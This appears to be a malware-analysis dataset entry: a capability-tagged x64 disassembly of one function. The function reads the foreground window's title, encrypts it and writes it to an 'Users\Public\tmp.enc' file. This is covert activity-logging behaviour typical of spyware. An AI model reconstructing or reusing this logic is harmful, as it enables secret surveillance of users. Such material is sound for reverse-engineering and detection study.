Function at 0x140004d20
Capabilities:
Get common file path
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x920]
sub rsp, 0xa20
mov rax, qword [0x1400670c0]
xor rax, rsp
mov qword [rbp + 0x910], rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x110]
call fcn.140033e10
mov edx, 0x104
lea rcx, [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
cmp eax, 3
lea rdx, [rbp + 0x110]
jae 0x140004d90
lea rdx, [0x14005d5f8]
mov ebx, 3
mov r8d, ebx
lea rcx, [rsp + 0x40]
call fcn.140008db0
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x16
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rax, qword [rsp + 0x40]
mov qword [rbp - 0x70], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x68], rax
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x40], xmm0
movabs rax, 0xc000000000000000
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x70], 1
lea rax, [rbp - 0x48]
mov qword [rbp - 0x68], rax
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x28]
call fcn.14000a110
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004e63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005168
call fcn.14001adc0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
jne 0x140004e77
lea rdx, [0x14005d5e0]
jmp 0x140004ea9
mov r8d, 0x400
lea rdx, [rbp + 0x110]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jg 0x140004e9f
lea rdx, str.Desktop
mov ebx, 7
jmp 0x140004ea9
lea rdx, [rbp + 0x110]
movsxd rbx, eax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
mov r8, rbx
lea rcx, [rsp + 0x40]
call fcn.140008db0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.140004b00
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004f17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000516e
call fcn.14001adc0
lea rbx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rbx, qword [rbp - 0x48]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 0
mov edx, dword [rbp - 0x38]
and edx, 0xfffffff0
add edx, 0x10
je 0x140004f49
lea rcx, [rbp - 0x60]
call fcn.14000a300
mov r8d, dword [rbp - 0x58]
mov rax, qword [rbp - 0x60]
sub r8d, eax
mov dword [rsp + 0x30], r8d
mov qword [rsp + 0x28], rax
mov edx, dword [rbp - 0x38]
mov rcx, rbx
call fcn.140004750
test eax, eax
jne 0x140005174
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp]
call fcn.140033e10
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rdx, qword [rbp - 0x28]
lea rcx, [rbp]
call fcn.140006bb0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rbx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
cmp qword [rbp + 0x88], 0
je 0x14000501d
mov r8, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x60]
sub r8, rdx
lea rcx, [rbp]
call fcn.140006160
lea rcx, [rbp + 8]
call fcn.140006ab0
test rax, rax
jne 0x14000501d
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x48], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x10]
and eax, 0x17
mov dword [rbp + rcx + 0x10], eax
mov edx, dword [rbp + rcx + 0x14]
and edx, eax
jne 0x1400051bc
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx], rbx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140005e90
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.14001a47c
nop
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x1400050cd
mov rdx, qword [rbp - 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005162
call fcn.14001adc0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140005104
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005162
call fcn.14001adc0
mov rdx, qword [rbp - 0x10]
cmp rdx, 7
jbe 0x140005140
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000513b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005162
call fcn.14001adc0
xor eax, eax
mov rcx, qword [rbp + 0x910]
xor rcx, rsp
call fcn.14001ada0
mov rbx, qword [rsp + 0xa30]
add rsp, 0xa20
pop rbp
ret
call fcn.1400226d8
int3
call fcn.1400226d8
int3
call fcn.1400226d8
int3
mov dword [rbp - 0x80], eax
lea rax, str.encrypt_data_error:_
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x16
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140008c10
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140001230
lea rdx, [0x1400660e0]
lea rcx, [rbp - 0x48]
call fcn.14001cc90
int3
test dl, 4
je 0x1400051ca
lea rbx, str.ios_base::badbit_set
jmp 0x1400051df
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140001ee0
lea rdx, [0x1400661e8]
lea rcx, [rsp + 0x40]
call fcn.14001cc90
int3